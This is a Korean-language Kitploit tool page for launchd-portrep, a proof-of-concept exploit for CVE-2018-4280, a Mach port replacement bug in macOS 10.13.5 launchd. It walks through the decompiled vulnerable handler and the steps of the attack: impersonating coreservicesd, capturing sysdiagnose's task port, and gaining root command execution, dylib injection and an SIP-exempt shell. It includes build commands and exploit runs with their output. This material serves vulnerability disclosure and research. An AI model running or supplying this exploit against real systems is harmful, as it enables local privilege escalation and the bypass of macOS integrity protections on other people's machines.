Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
launchd-portrep — CVE-2018-4280: macOS 10.13.5의 launchd에서 발생하는 Mach 포트 교체 취약점으로, 로컬 권한 상승 및 SIP 우회로 이어집니다. | Kitploit
도구/GitHubGitHub/bazad/launchd-portrep
Privilege EscalationExploit FrameworksExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubbazad/launchd-portrep

launchd-portrep

CVE-2018-4280: macOS 10.13.5의 launchd에서 발생하는 Mach 포트 교체 취약점으로, 로컬 권한 상승 및 SIP 우회로 이어집니다.

저장소 보기
5967년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

launchd-portrep

launchd-portrep는 macOS의 초기 사용자 공간 프로세스이자 서비스 관리 데몬인 launchd의 포트 교체(port replacement) 취약점을 이용한 익스플로잇입니다. 공격자는 조작된 Mach 메시지를 bootstrap 포트로 보냄으로써, 자신도 송신 권한을 가진 임의의 Mach 포트에 대한 launchd의 송신 권한이 할당 해제되도록 강제할 수 있습니다. 이를 통해 공격자는 조회할 수 있는 모든 launchd 서비스를 시스템의 나머지 부분에게 사칭할 수 있습니다.

취약점

Launchd는 예외 메시지용 MIG 핸들러를 포함해 여러 가지 서로 다른 Mach 메시지 핸들러를 메인 포트에서 다중화합니다. 프로세스가 자신의 bootstrap 포트로 mach_exception_raise 또는 mach_exception_raise_state_identity 메시지를 보내면, launchd는 그 메시지를 호스트 수준 예외로 받아 처리합니다.

안타깝게도 launchd의 이러한 메시지 처리는 버그가 있습니다. 예외 유형이 EXC_CRASH이면 launchd는 메시지에 포함된 thread 및 task 포트를 할당 해제한 다음 서비스 루틴에서 KERN_FAILURE를 반환하므로, MIG 시스템이 thread 및 task 포트를 다시 할당 해제하게 됩니다. (서비스 루틴이 성공을 반환하면 Mach 메시지의 모든 리소스에 대한 소유권을 가져간 것으로 간주하고, 서비스 루틴이 오류를 반환하면 어떤 리소스도 소유하지 않은 것으로 간주합니다.)

다음은 mach_exception_raise 메시지에 대한 launchd 서비스 루틴의 코드로, IDA/Hex-Rays로 디컴파일한 뒤 가독성을 위해 약간 편집한 것입니다.

root@kitploit:~
kern_return_t __fastcall
catch_mach_exception_raise(                             // (a) The service routine is
        mach_port_t           exception_port,           //     called with values directly
        mach_port_t           thread,                   //     from the Mach message
        mach_port_t           task,                     //     sent by the client. The
        unsigned int          exception,                //     thread and task ports could
        mach_exception_data_t code,                     //     be arbitrary send rights.
        unsigned int          codeCnt)
{
    kern_return_t kr;      // eax@1 MAPDST
    kern_return_t result;  // eax@10
    int pid;               // [rsp+14h] [rbp-43Ch]@1
    char codes_str[1024];  // [rsp+20h] [rbp-430h]@5
    __int64 __stack_guard; // [rsp+420h] [rbp-30h]@1

    __stack_guard = *__stack_chk_guard_ptr;
    pid = -1;
    kr = pid_for_task(task, &pid);
    if ( kr )
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    if ( codeCnt )
    {
        do
        {
            __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
            ++code;
            --codeCnt;
        }
        while ( codeCnt );
    }
    launchd_log_2(
        0LL,
        3LL,
        "Host-level exception raised: pid = %d, thread = 0x%x, "
            "exception type = 0x%x, codes = { %s }",
        pid,
        thread,
        exception,
        codes_str);
    kr = deallocate_mach_port(thread);                  // (b) The "thread" port sent in
    if ( kr )                                           //     the message is deallocated.
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    kr = deallocate_mach_port(task);                    // (c) The "task" port sent in the
    if ( kr )                                           //     message is deallocated.
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    result = 0;
    if ( *__stack_chk_guard_ptr == __stack_guard )
    {
        LOBYTE(result) = exception == 10;               // (d) If the exception type is 10
        result *= 5;                                    //     (EXC_CRASH), then an error
    }                                                   //     KERN_FAILURE is returned.
    return result;                                      //     MIG will deallocate the
}                                                       //     ports again.

포트 이름의 이중 할당 해제는 문제가 됩니다. 프로세스가 예외 메시지의 task 및 thread 포트로 원하는 임의의 포트를 설정할 수 있기 때문입니다. launchd는 수신한 송신 권한이 실제로 thread와 task에 해당하는지 전혀 검사하지 않습니다. 예를 들어 해당 포트는 이미 launchd의 IPC 공간에 있는 포트에 대한 송신 권한일 수 있습니다. 그러면 이중 할당 해제로 인해 launchd가 자신의 포트 중 하나에 대한 사용자 참조(user reference)를 실제로 떨어뜨리게 됩니다.

이 버그를 악용하면 공격 프로세스도 송신 권한을 가진 임의의 Mach 포트에 대한 launchd의 송신 권한을 해제할 수 있습니다. 특히 공격 프로세스가 launchd를 사용해 시스템 서비스를 조회할 수 있다면, 해당 서비스에 대한 launchd의 송신 권한을 해제한 뒤 그 서비스를 시스템의 나머지 부분에게 사칭할 수 있습니다. 그 이후에는 시스템 권한을 얻을 수 있는 다양한 경로가 있습니다.

task_for_pid-allow를 얻기 위한 익스플로잇 전략

이 버그는 Ian Beer가 발견한 XNU의 Mach 포트 사용자 참조 처리 문제인 CVE-2016-7637의 덜 일반적인 버전입니다. 이 취약점으로 프로세스가 다른 프로세스의 Mach 포트를 해제할 수 있었습니다. Ian Beer는 macOS에서 이 취약점을 악용하여 com.apple.CoreServices.coreservicesd 엔드포인트에 대한 launchd의 송신 권한을 교체하고 coreservicesd를 시스템의 나머지 부분에게 사칭했습니다. Coreservicesd는 클라이언트가 Mach 메시지에서 task 포트를 보내는 몇 안 되는 서비스 중 하나이므로 매력적인 대상입니다. 그는 launchd의 coreservicesd 송신 권한을 자신의 포트로 교체한 다음, 권한 있는 클라이언트가 coreservicesd를 조회하고 통신하도록 유도하여 권한 있는 프로세스의 task 포트를 얻은 뒤 해당 프로세스 내에서 코드를 실행할 수 있었습니다.

macOS의 동작이 변경되지 않았으므로, 이 취약점에 대해 기본적으로 Ian Beer의 익스플로잇 전략을 그대로 사용했습니다. coreservicesd의 서비스 포트를 담은 예외 메시지를 launchd로 보내 launchd가 그 포트에 대해 가진 송신 권한이 해제될 때까지 반복합니다. 서비스를 다시 bootstrap_look_up()으로 조회하면 권한이 해제되었는지 감지할 수 있습니다. launchd가 유효하지 않은 포트 이름을 반환하면 해당 포트에 대한 launchd의 송신 권한을 성공적으로 해제한 것입니다. 그런 다음, 등록한 서비스 중 하나가 launchd의 IPC 공간에서 원래 coreservicesd 포트와 동일한 Mach 포트 이름을 할당받을 때까지 많은 수의 서비스를 launchd에 등록하고 등록 해제하는 과정을 반복합니다. 이 시점부터 launchd에서 com.apple.CoreServices.coreservicesd를 조회하는 모든 프로세스는 실제 coreservicesd 대신 우리의 가짜 서비스에 대한 송신 권한을 받게 됩니다. 그런 다음 가짜 서비스 포트에서 MITM 서버를 실행하여 클라이언트로부터 받은 메시지의 모든 Mach 포트를 검사한 뒤 실제 coreservicesd로 전달합니다. 이 시점에서 sysdiagnose에 메시지를 보내 tailspin을 실행하게 하면, sysdiagnose가 우리의 가짜 coreservicesd 포트에 연결하고 자신의 task 포트를 보내게 됩니다. sysdiagnose는 task_for_pid-allow 자격(entitlement)을 가지고 있으므로 이제 임의 프로세스의 task 포트를 얻을 수 있습니다.

시스템이 (대체로) 정상적으로 작동하도록 복구하기 위해 sysdiagnose로 launchd의 task 포트를 얻은 다음, launchd의 task 포트를 사용해 launchd가 우리의 가짜 서비스 포트에 대해 가진 송신 권한을 실제 coreservicesd에 대한 송신 권한으로 되돌려 놓습니다. 그렇게 하면 이후의 클라이언트는 실제로 coreservicesd에 도달할 수 있습니다.

이 방법에서 발견한 한 가지 문제는 시스템이 종료 시 잠시 멈추는 것처럼 보인다는 점입니다. launchd의 포트를 조작하면 launchd의 일부 회계(accounting) 또는 포트 알림이 어긋나기 때문인 것으로 추정합니다. 이 문제를 더 조사하지는 않았지만, launchctl로 coreservicesd를 다시 시작하면 해결되는 것 같습니다:

root@kitploit:~
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd

task_for_pid-allow를 확보한 뒤

task_for_pid-allow 프로세스 내에서 코드를 실행할 수 있게 되면 시스템의 모든 task를 제어할 수 있습니다. 표준적인 권한 상승을 수행할 수 있을 뿐만 아니라 SIP 자격이 있는 프로세스에 코드를 주입하여 SIP를 우회할 수도 있기 때문에 매우 유용합니다.

이 익스플로잇은 두 가지 잠재적 용도를 보여줍니다: root로 시스템 명령 실행과 dylib 주입입니다. 시스템 명령을 실행하려면 sysdiagnose 내부에서 표준 system() 함수를 호출하고 사용자가 제공한 명령 문자열을 전달하기만 하면 됩니다. 프로세스에 dylib를 주입하려면 sysdiagnose 내부에서 task_for_pid()를 호출해 대상의 task 포트를 얻은 다음, 그 task 포트를 사용해 제공된 라이브러리에 대해 dlopen()을 호출하면 됩니다.

사용법

독립 실행형 익스플로잇 launchd-portrep를 빌드하려면 make를 실행하세요. 다양한 빌드 옵션은 Makefile 상단을 참조하십시오. 먼저 threadexec 주입 라이브러리를 내려받아 빌드해야 합니다.

root@kitploit:~
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make

이 익스플로잇은 sysdiagnose 프로세스가 이미 실행 중이면 실패합니다. 따라서 이 개념 증명에서는 익스플로잇을 실행하기 전에 반드시 sysdiagnose를 종료하십시오. (sysdiagnose가 이미 실행 중이어도 작동하도록 익스플로잇을 재구성할 수는 있지만, 악의적인 목적으로 이 도구가 사용되는 것을 막기 위해 이 기능을 포함하지 않기로 결정했습니다.)

system() 함수에 전달되는 것처럼 실행할 명령을 지정하여 익스플로잇을 실행합니다:

root@kitploit:~
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r--  1 root  wheel  0 Jul 24 23:50 /tmp/exploit-success

또는 PID와 동적 라이브러리 파일의 절대 경로를 지정하면 launchd-portrep가 지정된 프로세스에 dylib를 주입합니다.

launchd-portrep를 래핑하는 두 가지 예제 스크립트인 launchd-portrep-rootsh.sh와 launchd-portrep-rootless.sh도 있습니다.

launchd-portrep-rootsh.sh는 /var/suid-sh 아래에 setuid-root 셸 실행기를 설치하여 일반적인 root 셸을 제공합니다. (setuid 셸은 1초 후 자동으로 제거됩니다.)

root@kitploit:~
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#

launchd-portrep-rootless.sh는 더 흥미롭습니다. 파일시스템에 대한 rootless 제한이 비활성화된 셸을 제공합니다. 이를 위해 com.apple.rootless.install.heritable 자격을 가진 diskmanagementd를 생성한 다음, diskmanagementd에 dylib를 주입하여 stdin과 stdout이 named pipe에 연결된 셸을 생성하게 합니다. 자격 이름에서 알 수 있듯이 com.apple.rootless.install.heritable이 부여하는 SIP 면제는 하위 프로세스에도 전달됩니다. 즉, 해당 셸과 셸에서 실행하는 모든 명령은 본질적으로 SIP 파일시스템 보호에서 면제됩니다.

root@kitploit:~
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   4 root  wheel  restricted  128 Jul 25 19:08 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   5 root  wheel  restricted  160 Jul 25 19:19 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
-rw-r--r--    1 root  wheel  restricted    0 Jul 25 19:19 exploit-success
bash-3.2# exit

launchd-portrep는 macOS 10.13.5 17F77에서 테스트되었습니다.

라이선스

launchd-portrep 코드는 MIT 라이선스로 배포됩니다.


Brandon Azad

도구 다운로드